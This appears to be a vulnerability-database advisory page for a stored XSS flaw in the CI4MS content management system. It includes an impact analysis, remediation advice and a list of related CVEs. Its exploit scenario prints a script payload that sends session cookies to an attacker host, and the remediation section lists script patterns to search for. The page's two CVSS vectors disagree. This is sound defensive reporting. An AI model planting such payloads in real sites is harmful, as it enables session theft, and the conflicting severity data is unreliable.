Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability presents a moderate but meaningful risk despite the moderate CVSS score of 4.7. The CVSS vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L indicates a network-accessible attack with low complexity but requiring high-level administrative privileges (PR:H), no user interaction, and limited scope with low impact to confidentiality, integrity, and availability. However, the actual risk profile is more nuanced: (1) the attack vector is network-based with low complexity, making it trivial to execute once admin access is obtained; (2) while PR:H restricts the immediate attacker pool, compromised admin accounts (via phishing, password reuse, or lateral movement) are a realistic threat in organizational environments; (3) the stored nature of the XSS means the payload persists and affects all subsequent viewers, potentially including other administrators or end users, depending on where Company Information is displayed; (4) no public exploit code was identified at time of analysis, and there is no indication of active exploitation in the wild (KEV status not confirmed as actively exploited). The low CVSS impact ratings (C:L/I:L/A:L) may underrepresent the actual harm: stored XSS in administrative configurations can lead to lateral privilege escalation, session hijacking of other admins, or defacement. Organizations running multi-user CI4MS deployments with shared administrative responsibilities should treat this as a higher priority than the CVSS score alone suggests. |
| Exploit ScenarioDerived | A threat actor gains access to a CI4MS administrative account through phishing or credential compromise. The attacker navigates to System Settings, selects Company Information, and injects a JavaScript payload into the Company Name field (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>). When other administrators or end users visit pages displaying the company information (such as a dashboard, report header, or public-facing company details page), the stored script executes in their browser context, stealing session cookies or redirecting them to a phishing site. Because the payload is stored server-side, it persists across sessions and affects multiple users without requiring the attacker to remain active. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 01, 2026
Stored cross-site scripting (XSS) in CI4MS prior to version 0.31.0.0 allows authenticated high-privilege administrators to inject malicious scripts via unencoded System Settings - Company Information fields, which are later rendered to other users without proper output encoding. The vulnerability requires administrative privileges to exploit but poses a real risk in multi-user deployments where admin accounts may be compromised or where trust boundaries exist between administrative roles.
RemediationAI
Vendor-released patch: CI4MS version 0.31.0.0 and later. Upgrade immediately by pulling the latest release from https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0. Organizations unable to upgrade immediately should restrict administrative access to System Settings to trusted users only and monitor admin account activity for unauthorized changes to Company Information fields. Additionally, review any Company Information content already stored in the system for suspicious script injections (look for <script>, javascript:, onerror=, onload= patterns) and remove or sanitize any suspicious entries until patching is complete.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CI4MS is a CodeIgniter 4-based content management system built on the PHP web framework. The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic stored XSS flaw where user-controlled input from administrative configuration forms is persisted to the server-side database without sanitization and subsequently rendered in HTTP responses without HTML entity encoding. The affected component is the System Settings module, specifically the Company Information configuration section, which stores administrative metadata (company name, address, contact information, etc.) that is likely displayed in templates, reports, or user-facing pages. CodeIgniter 4 provides built-in XSS protection via automatic output encoding in its templating engine, but this protection was apparently disabled or bypassed in the affected configuration form handling code.
Know when Ci4ms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionNVD
CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application fails to properly sanitize user-controlled input within System Settings - Company Information. Several administrative configuration fields accept attacker-controlled input that is stored server-side and later rendered without proper output encoding. This issue has been patched in version 0.31.0.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
CI4MS (CodeIgniter 4 CMS skeleton) has a code injection vulnerability (CVSS 9.9) allowing authenticated users to execute
Environment file injection in CI4MS versions prior to 0.31.4.0 allows remote attackers to inject arbitrary configuration
Stored Cross-Site Scripting in CI4MS methods management allows authenticated users to inject malicious JavaScript into a
Stored cross-site scripting in CI4MS role/group management allows authenticated attackers to inject malicious JavaScript
Stored cross-site scripting in CI4MS before 0.31.2.0 allows an authenticated user with System Settings → Company Informa
Stored cross-site scripting in CI4MS backend user management allows authenticated attackers with low-level privileges to
Stored cross-site scripting in CI4MS blog category management allows authenticated users to inject malicious JavaScript
Stored cross-site scripting in CI4MS before 0.31.0.0 lets an authenticated user with blog create/edit rights save JavaSc
Stored cross-site scripting in CI4MS (CodeIgniter 4 CMS) allows authenticated users with blog post management privileges
Stored cross-site scripting (XSS) in CI4MS page management functionality allows authenticated attackers to inject malici
Stored cross-site scripting (XSS) in CI4MS menu management allows authenticated users with low privileges to inject mali
Stored cross-site scripting in CI4MS menu management allows authenticated attackers to inject malicious scripts that exe
EUVD-2026-18074
GHSA-v897-c6vq-6cr3
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB